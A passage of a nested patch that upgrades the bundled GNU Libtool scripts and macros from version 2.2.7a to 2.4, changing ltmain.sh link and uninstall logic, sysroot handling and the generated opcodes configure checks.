++ $opt_dry_run || eval '(cd $output_objdir && $RM ${realname}T && $MV $realname ${realname}T && $MV ${realname}U $realname)' || exit $?
+
+ if test -n "$convenience"; then
+ if test -z "$whole_archive_flag_spec"; then
+@@ -7656,17 +8624,20 @@ EOF
+
+ if test -n "$convenience"; then
+ if test -n "$whole_archive_flag_spec"; then
+- eval "tmp_whole_archive_flags=\"$whole_archive_flag_spec\""
++ eval tmp_whole_archive_flags=\"$whole_archive_flag_spec\"
+ reload_conv_objs=$reload_objs\ `$ECHO "$tmp_whole_archive_flags" | $SED 's|,| |g'`
+ else
+ gentop="$output_objdir/${obj}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $convenience
+ reload_conv_objs="$reload_objs $func_extract_archives_result"
+ fi
+ fi
+
++ # If we're not building shared, we need to use non_pic_objs
++ test "$build_libtool_libs" != yes && libobjs="$non_pic_objects"
++
+ # Create the old-style object.
+ reload_objs="$objs$old_deplibs "`$ECHO "$libobjs" | $SP2NL | $SED "/\.${libext}$/d; /\.lib$/d; $lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
+
+@@ -7690,7 +8661,7 @@ EOF
+ # Create an invalid libtool object if no PIC, so that we don't
+ # accidentally link it into a program.
+ # $show "echo timestamp > $libobj"
+- # $opt_dry_run || echo timestamp > $libobj || exit $?
++ # $opt_dry_run || eval "echo timestamp > $libobj" || exit $?
+ exit $EXIT_SUCCESS
+ fi
+
+@@ -7740,8 +8711,8 @@ EOF
+ if test "$tagname" = CXX ; then
+ case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+ 10.[0123])
+- compile_command="$compile_command ${wl}-bind_at_load"
+- finalize_command="$finalize_command ${wl}-bind_at_load"
++ func_append compile_command " ${wl}-bind_at_load"
++ func_append finalize_command " ${wl}-bind_at_load"
+ ;;
+ esac
+ fi
+@@ -7761,7 +8732,7 @@ EOF
+ *)
+ case " $compile_deplibs " in
+ *" -L$path/$objdir "*)
+- new_libs="$new_libs -L$path/$objdir" ;;
++ func_append new_libs " -L$path/$objdir" ;;
+ esac
+ ;;
+ esac
+@@ -7771,17 +8742,17 @@ EOF
+ -L*)
+ case " $new_libs " in
+ *" $deplib "*) ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ ;;
+- *) new_libs="$new_libs $deplib" ;;
++ *) func_append new_libs " $deplib" ;;
+ esac
+ done
+ compile_deplibs="$new_libs"
+
+
+- compile_command="$compile_command $compile_deplibs"
+- finalize_command="$finalize_command $finalize_deplibs"
++ func_append compile_command " $compile_deplibs"
++ func_append finalize_command " $finalize_deplibs"
+
+ if test -n "$rpath$xrpath"; then
+ # If the user specified any rpath flags, then add them.
+@@ -7789,7 +8760,7 @@ EOF
+ # This is the magic to use -rpath.
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir" ;;
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ done
+ fi
+@@ -7808,18 +8779,18 @@ EOF
+ *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+ ;;
+ *)
+- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
++ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
+ ;;
+ esac
+ fi
+ else
+- eval "flag=\"$hardcode_libdir_flag_spec\""
+- rpath="$rpath $flag"
++ eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+ *" $libdir "*) ;;
+- *) perm_rpath="$perm_rpath $libdir" ;;
++ *) func_append perm_rpath " $libdir" ;;
+ esac
+ fi
+ case $host in
+@@ -7828,12 +8799,12 @@ EOF
+ case :$dllsearchpath: in
+ *":$libdir:"*) ;;
+ ::) dllsearchpath=$libdir;;
+- *) dllsearchpath="$dllsearchpath:$libdir";;
++ *) func_append dllsearchpath ":$libdir";;
+ esac
+ case :$dllsearchpath: in
+ *":$testbindir:"*) ;;
+ ::) dllsearchpath=$testbindir;;
+- *) dllsearchpath="$dllsearchpath:$testbindir";;
++ *) func_append dllsearchpath ":$testbindir";;
+ esac
+ ;;
+ esac
+@@ -7842,7 +8813,7 @@ EOF
+ if test -n "$hardcode_libdir_separator" &&
+ test -n "$hardcode_libdirs"; then
+ libdir="$hardcode_libdirs"
+- eval "rpath=\" $hardcode_libdir_flag_spec\""
++ eval rpath=\" $hardcode_libdir_flag_spec\"
+ fi
+ compile_rpath="$rpath"
+
+@@ -7859,18 +8830,18 @@ EOF
+ *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+ ;;
+ *)
+- hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
++ func_append hardcode_libdirs "$hardcode_libdir_separator$libdir"
+ ;;
+ esac
+ fi
+ else
+- eval "flag=\"$hardcode_libdir_flag_spec\""
+- rpath="$rpath $flag"
++ eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append rpath " $flag"
+ fi
+ elif test -n "$runpath_var"; then
+ case "$finalize_perm_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
++ *) func_append finalize_perm_rpath " $libdir" ;;
+ esac
+ fi
+ done
+@@ -7878,7 +8849,7 @@ EOF
+ if test -n "$hardcode_libdir_separator" &&
+ test -n "$hardcode_libdirs"; then
+ libdir="$hardcode_libdirs"
+- eval "rpath=\" $hardcode_libdir_flag_spec\""
++ eval rpath=\" $hardcode_libdir_flag_spec\"
+ fi
+ finalize_rpath="$rpath"
+
+@@ -7921,6 +8892,12 @@ EOF
+ exit_status=0
+ func_show_eval "$link_command" 'exit_status=$?'
+
++ if test -n "$postlink_cmds"; then
++ func_to_tool_file "$output"
++ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
++ func_execute_cmds "$postlink_cmds" 'exit $?'
++ fi
++
+ # Delete the generated files.
+ if test -f "$output_objdir/${outputname}S.${objext}"; then
+ func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"'
+@@ -7943,7 +8920,7 @@ EOF
+ # We should set the runpath_var.
+ rpath=
+ for dir in $perm_rpath; do
+- rpath="$rpath$dir:"
++ func_append rpath "$dir:"
+ done
+ compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
+ fi
+@@ -7951,7 +8928,7 @@ EOF
+ # We should set the runpath_var.
+ rpath=
+ for dir in $finalize_perm_rpath; do
+- rpath="$rpath$dir:"
++ func_append rpath "$dir:"
+ done
+ finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
+ fi
+@@ -7966,6 +8943,13 @@ EOF
+ $opt_dry_run || $RM $output
+ # Link the executable and exit
+ func_show_eval "$link_command" 'exit $?'
++
++ if test -n "$postlink_cmds"; then
++ func_to_tool_file "$output"
++ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
++ func_execute_cmds "$postlink_cmds" 'exit $?'
++ fi
++
+ exit $EXIT_SUCCESS
+ fi
+
+@@ -7999,6 +8983,12 @@ EOF
+
+ func_show_eval "$link_command" 'exit $?'
+
++ if test -n "$postlink_cmds"; then
++ func_to_tool_file "$output_objdir/$outputname"
++ postlink_cmds=`func_echo_all "$postlink_cmds" | $SED -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g' -e 's%@TOOL_OUTPUT@%'"$func_to_tool_file_result"'%g'`
++ func_execute_cmds "$postlink_cmds" 'exit $?'
++ fi
++
+ # Now create the wrapper script.
+ func_verbose "creating $output"
+
+@@ -8096,7 +9086,7 @@ EOF
+ else
+ oldobjs="$old_deplibs $non_pic_objects"
+ if test "$preload" = yes && test -f "$symfileobj"; then
+- oldobjs="$oldobjs $symfileobj"
++ func_append oldobjs " $symfileobj"
+ fi
+ fi
+ addlibs="$old_convenience"
+@@ -8104,10 +9094,10 @@ EOF
+
+ if test -n "$addlibs"; then
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $addlibs
+- oldobjs="$oldobjs $func_extract_archives_result"
++ func_append oldobjs " $func_extract_archives_result"
+ fi
+
+ # Do each command in the archive commands.
+@@ -8118,10 +9108,10 @@ EOF
+ # Add any objects from preloaded convenience libraries
+ if test -n "$dlprefiles"; then
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+
+ func_extract_archives $gentop $dlprefiles
+- oldobjs="$oldobjs $func_extract_archives_result"
++ func_append oldobjs " $func_extract_archives_result"
+ fi
+
+ # POSIX demands no paths to be encoded in archives. We have
+@@ -8139,7 +9129,7 @@ EOF
+ else
+ echo "copying selected object files to avoid basename conflicts..."
+ gentop="$output_objdir/${outputname}x"
+- generated="$generated $gentop"
++ func_append generated " $gentop"
+ func_mkdir_p "$gentop"
+ save_oldobjs=$oldobjs
+ oldobjs=
+@@ -8163,18 +9153,28 @@ EOF
+ esac
+ done
+ func_show_eval "ln $obj $gentop/$newobj || cp $obj $gentop/$newobj"
+- oldobjs="$oldobjs $gentop/$newobj"
++ func_append oldobjs " $gentop/$newobj"
+ ;;
+- *) oldobjs="$oldobjs $obj" ;;
++ *) func_append oldobjs " $obj" ;;
+ esac
+ done
+ fi
+- eval "cmds=\"$old_archive_cmds\""
++ eval cmds=\"$old_archive_cmds\"
+
+ func_len " $cmds"
+ len=$func_len_result
+ if test "$len" -lt "$max_cmd_len" || test "$max_cmd_len" -le -1; then
+ cmds=$old_archive_cmds
++ elif test -n "$archiver_list_spec"; then
++ func_verbose "using command file archive linking..."
++ for obj in $oldobjs
++ do
++ func_to_tool_file "$obj"
++ $ECHO "$func_to_tool_file_result"
++ done > $output_objdir/$libname.libcmd
++ func_to_tool_file "$output_objdir/$libname.libcmd"
++ oldobjs=" $archiver_list_spec$func_to_tool_file_result"
++ cmds=$old_archive_cmds
+ else
+ # the command line is too long to link in one step, link in parts
+ func_verbose "using piecewise archive linking..."
+@@ -8189,7 +9189,7 @@ EOF
+ do
+ last_oldobj=$obj
+ done
+- eval "test_cmds=\"$old_archive_cmds\""
++ eval test_cmds=\"$old_archive_cmds\"
+ func_len " $test_cmds"
+ len0=$func_len_result
+ len=$len0
+@@ -8208,7 +9208,7 @@ EOF
+ RANLIB=$save_RANLIB
+ fi
+ test -z "$concat_cmds" || concat_cmds=$concat_cmds~
+- eval "concat_cmds=\"\${concat_cmds}$old_archive_cmds\""
++ eval concat_cmds=\"\${concat_cmds}$old_archive_cmds\"
+ objlist=
+ len=$len0
+ fi
+@@ -8216,9 +9216,9 @@ EOF
+ RANLIB=$save_RANLIB
+ oldobjs=$objlist
+ if test "X$oldobjs" = "X" ; then
+- eval "cmds=\"\$concat_cmds\""
++ eval cmds=\"\$concat_cmds\"
+ else
+- eval "cmds=\"\$concat_cmds~\$old_archive_cmds\""
++ eval cmds=\"\$concat_cmds~\$old_archive_cmds\"
+ fi
+ fi
+ fi
+@@ -8268,12 +9268,23 @@ EOF
+ *.la)
+ func_basename "$deplib"
+ name="$func_basename_result"
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
++ func_resolve_sysroot "$deplib"
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
+ test -z "$libdir" && \
+ func_fatal_error "\`$deplib' is not a valid libtool archive"
+- newdependency_libs="$newdependency_libs $libdir/$name"
++ func_append newdependency_libs " ${lt_sysroot:+=}$libdir/$name"
++ ;;
++ -L*)
++ func_stripname -L '' "$deplib"
++ func_replace_sysroot "$func_stripname_result"
++ func_append newdependency_libs " -L$func_replace_sysroot_result"
+ ;;
+- *) newdependency_libs="$newdependency_libs $deplib" ;;
++ -R*)
++ func_stripname -R '' "$deplib"
++ func_replace_sysroot "$func_stripname_result"
++ func_append newdependency_libs " -R$func_replace_sysroot_result"
++ ;;
++ *) func_append newdependency_libs " $deplib" ;;
+ esac
+ done
+ dependency_libs="$newdependency_libs"
+@@ -8284,12 +9295,14 @@ EOF
+ *.la)
+ func_basename "$lib"
+ name="$func_basename_result"
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
++ func_resolve_sysroot "$lib"
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
++
+ test -z "$libdir" && \
+ func_fatal_error "\`$lib' is not a valid libtool archive"
+- newdlfiles="$newdlfiles $libdir/$name"
++ func_append newdlfiles " ${lt_sysroot:+=}$libdir/$name"
+ ;;
+- *) newdlfiles="$newdlfiles $lib" ;;
++ *) func_append newdlfiles " $lib" ;;
+ esac
+ done
+ dlfiles="$newdlfiles"
+@@ -8303,10 +9316,11 @@ EOF
+ # the library:
+ func_basename "$lib"
+ name="$func_basename_result"
+- libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $lib`
++ func_resolve_sysroot "$lib"
++ eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $func_resolve_sysroot_result`
+ test -z "$libdir" && \
+ func_fatal_error "\`$lib' is not a valid libtool archive"
+- newdlprefiles="$newdlprefiles $libdir/$name"
++ func_append newdlprefiles " ${lt_sysroot:+=}$libdir/$name"
+ ;;
+ esac
+ done
+@@ -8318,7 +9332,7 @@ EOF
+ [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
+ *) abs=`pwd`"/$lib" ;;
+ esac
+- newdlfiles="$newdlfiles $abs"
++ func_append newdlfiles " $abs"
+ done
+ dlfiles="$newdlfiles"
+ newdlprefiles=
+@@ -8327,7 +9341,7 @@ EOF
+ [\\/]* | [A-Za-z]:[\\/]*) abs="$lib" ;;
+ *) abs=`pwd`"/$lib" ;;
+ esac
+- newdlprefiles="$newdlprefiles $abs"
++ func_append newdlprefiles " $abs"
+ done
+ dlprefiles="$newdlprefiles"
+ fi
+@@ -8412,7 +9426,7 @@ relink_command=\"$relink_command\""
+ exit $EXIT_SUCCESS
+ }
+
+-{ test "$mode" = link || test "$mode" = relink; } &&
++{ test "$opt_mode" = link || test "$opt_mode" = relink; } &&
+ func_mode_link ${1+"$@"}
+
+
+@@ -8432,9 +9446,9 @@ func_mode_uninstall ()
+ for arg
+ do
+ case $arg in
+- -f) RM="$RM $arg"; rmforce=yes ;;
+- -*) RM="$RM $arg" ;;
+- *) files="$files $arg" ;;
++ -f) func_append RM " $arg"; rmforce=yes ;;
++ -*) func_append RM " $arg" ;;
++ *) func_append files " $arg" ;;
+ esac
+ done
+
+@@ -8443,24 +9457,23 @@ func_mode_uninstall ()
+
+ rmdirs=
+
+- origobjdir="$objdir"
+ for file in $files; do
+ func_dirname "$file" "" "."
+ dir="$func_dirname_result"
+ if test "X$dir" = X.; then
+- objdir="$origobjdir"
++ odir="$objdir"
+ else
+- objdir="$dir/$origobjdir"
++ odir="$dir/$objdir"
+ fi
+ func_basename "$file"
+ name="$func_basename_result"
+- test "$mode" = uninstall && objdir="$dir"
++ test "$opt_mode" = uninstall && odir="$dir"
+
+- # Remember objdir for removal later, being careful to avoid duplicates
+- if test "$mode" = clean; then
++ # Remember odir for removal later, being careful to avoid duplicates
++ if test "$opt_mode" = clean; then
+ case " $rmdirs " in
+- *" $objdir "*) ;;
+- *) rmdirs="$rmdirs $objdir" ;;
++ *" $odir "*) ;;
++ *) func_append rmdirs " $odir" ;;
+ esac
+ fi
+
+@@ -8486,18 +9499,17 @@ func_mode_uninstall ()
+
+ # Delete the libtool libraries and symlinks.
+ for n in $library_names; do
+- rmfiles="$rmfiles $objdir/$n"
++ func_append rmfiles " $odir/$n"
+ done
+- test -n "$old_library" && rmfiles="$rmfiles $objdir/$old_library"
++ test -n "$old_library" && func_append rmfiles " $odir/$old_library"
+
+- case "$mode" in
++ case "$opt_mode" in
+ clean)
+- case " $library_names " in
+- # " " in the beginning catches empty $dlname
++ case " $library_names " in
+ *" $dlname "*) ;;
+- *) rmfiles="$rmfiles $objdir/$dlname" ;;
++ *) test -n "$dlname" && func_append rmfiles " $odir/$dlname" ;;
+ esac
+- test -n "$libdir" && rmfiles="$rmfiles $objdir/$name $objdir/${name}i"
++ test -n "$libdir" && func_append rmfiles " $odir/$name $odir/${name}i"
+ ;;
+ uninstall)
+ if test -n "$library_names"; then
+@@ -8525,19 +9537,19 @@ func_mode_uninstall ()
+ # Add PIC object to the list of files to remove.
+ if test -n "$pic_object" &&
+ test "$pic_object" != none; then
+- rmfiles="$rmfiles $dir/$pic_object"
++ func_append rmfiles " $dir/$pic_object"
+ fi
+
+ # Add non-PIC object to the list of files to remove.
+ if test -n "$non_pic_object" &&
+ test "$non_pic_object" != none; then
+- rmfiles="$rmfiles $dir/$non_pic_object"
++ func_append rmfiles " $dir/$non_pic_object"
+ fi
+ fi
+ ;;
+
+ *)
+- if test "$mode" = clean ; then
++ if test "$opt_mode" = clean ; then
+ noexename=$name
+ case $file in
+ *.exe)
+@@ -8547,7 +9559,7 @@ func_mode_uninstall ()
+ noexename=$func_stripname_result
+ # $file with .exe has already been added to rmfiles,
+ # add $file without .exe
+- rmfiles="$rmfiles $file"
++ func_append rmfiles " $file"
+ ;;
+ esac
+ # Do a test to see if this is a libtool program.
+@@ -8556,7 +9568,7 @@ func_mode_uninstall ()
+ func_ltwrapper_scriptname "$file"
+ relink_command=
+ func_source $func_ltwrapper_scriptname_result
+- rmfiles="$rmfiles $func_ltwrapper_scriptname_result"
++ func_append rmfiles " $func_ltwrapper_scriptname_result"
+ else
+ relink_command=
+ func_source $dir/$noexename
+@@ -8564,12 +9576,12 @@ func_mode_uninstall ()
+
+ # note $name still contains .exe if it was in $file originally
+ # as does the version of $file that was added into $rmfiles
+- rmfiles="$rmfiles $objdir/$name $objdir/${name}S.${objext}"
++ func_append rmfiles " $odir/$name $odir/${name}S.${objext}"
+ if test "$fast_install" = yes && test -n "$relink_command"; then
+- rmfiles="$rmfiles $objdir/lt-$name"
++ func_append rmfiles " $odir/lt-$name"
+ fi
+ if test "X$noexename" != "X$name" ; then
+- rmfiles="$rmfiles $objdir/lt-${noexename}.c"
++ func_append rmfiles " $odir/lt-${noexename}.c"
+ fi
+ fi
+ fi
+@@ -8577,7 +9589,6 @@ func_mode_uninstall ()
+ esac
+ func_show_eval "$RM $rmfiles" 'exit_status=1'
+ done
+- objdir="$origobjdir"
+
+ # Try to remove the ${objdir}s in the directories where we deleted files
+ for dir in $rmdirs; do
+@@ -8589,16 +9600,16 @@ func_mode_uninstall ()
+ exit $exit_status
+ }
+
+-{ test "$mode" = uninstall || test "$mode" = clean; } &&
++{ test "$opt_mode" = uninstall || test "$opt_mode" = clean; } &&
+ func_mode_uninstall ${1+"$@"}
+
+-test -z "$mode" && {
++test -z "$opt_mode" && {
+ help="$generic_help"
+ func_fatal_help "you must specify a MODE"
+ }
+
+ test -z "$exec_cmd" && \
+- func_fatal_help "invalid operation mode \`$mode'"
++ func_fatal_help "invalid operation mode \`$opt_mode'"
+
+ if test -n "$exec_cmd"; then
+ eval exec "$exec_cmd"
+diff --git a/ltoptions.m4 b/ltoptions.m4
+index 5ef12ced2a8..17cfd51c0b3 100644
+--- a/ltoptions.m4
++++ b/ltoptions.m4
+@@ -8,7 +8,7 @@
+ # unlimited permission to copy and/or distribute it, with or without
+ # modifications, as long as this notice is preserved.
+
+-# serial 6 ltoptions.m4
++# serial 7 ltoptions.m4
+
+ # This is to help aclocal find these macros, as it can't see m4_define.
+ AC_DEFUN([LTOPTIONS_VERSION], [m4_if([1])])
+diff --git a/ltversion.m4 b/ltversion.m4
+index bf87f77132d..9c7b5d41185 100644
+--- a/ltversion.m4
++++ b/ltversion.m4
+@@ -7,17 +7,17 @@
+ # unlimited permission to copy and/or distribute it, with or without
+ # modifications, as long as this notice is preserved.
+
+-# Generated from ltversion.in.
++# @configure_input@
+
+-# serial 3134 ltversion.m4
++# serial 3293 ltversion.m4
+ # This file is part of GNU Libtool
+
+-m4_define([LT_PACKAGE_VERSION], [2.2.7a])
+-m4_define([LT_PACKAGE_REVISION], [1.3134])
++m4_define([LT_PACKAGE_VERSION], [2.4])
++m4_define([LT_PACKAGE_REVISION], [1.3293])
+
+ AC_DEFUN([LTVERSION_VERSION],
+-[macro_version='2.2.7a'
+-macro_revision='1.3134'
++[macro_version='2.4'
++macro_revision='1.3293'
+ _LT_DECL(, macro_version, 0, [Which release of libtool.m4 was used?])
+ _LT_DECL(, macro_revision, 0)
+ ])
+diff --git a/lt~obsolete.m4 b/lt~obsolete.m4
+index bf92b5e0790..c573da90c5c 100644
+--- a/lt~obsolete.m4
++++ b/lt~obsolete.m4
+@@ -7,7 +7,7 @@
+ # unlimited permission to copy and/or distribute it, with or without
+ # modifications, as long as this notice is preserved.
+
+-# serial 4 lt~obsolete.m4
++# serial 5 lt~obsolete.m4
+
+ # These exist entirely to fool aclocal when bootstrapping libtool.
+ #
+diff --git a/opcodes/configure b/opcodes/configure
+index 6690a502b2f..badcc0776df 100755
+--- a/opcodes/configure
++++ b/opcodes/configure
+@@ -682,6 +682,9 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
++ac_ct_AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -800,6 +803,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_checking
+ enable_targets
+@@ -1468,6 +1472,8 @@ Optional Packages:
+ --with-pic try to use only PIC/non-PIC objects [default=use
+ both]
+ --with-gnu-ld assume the C compiler uses GNU ld [default=no]
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -4977,8 +4983,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -5018,7 +5024,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5705,8 +5711,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5755,6 +5761,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5771,6 +5851,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5939,7 +6024,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -6093,6 +6179,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6108,6 +6209,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
++ ac_cv_prog_DLLTOOL="$DLLTOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_DLLTOOL="${ac_tool_prefix}dlltool"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++DLLTOOL=$ac_cv_prog_DLLTOOL
++if test -n "$DLLTOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $DLLTOOL" >&5
++$as_echo "$DLLTOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_DLLTOOL"; then
++ ac_ct_DLLTOOL=$DLLTOOL
++ # Extract the first word of "dlltool", so it can be a program name with args.
++set dummy dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_DLLTOOL"; then
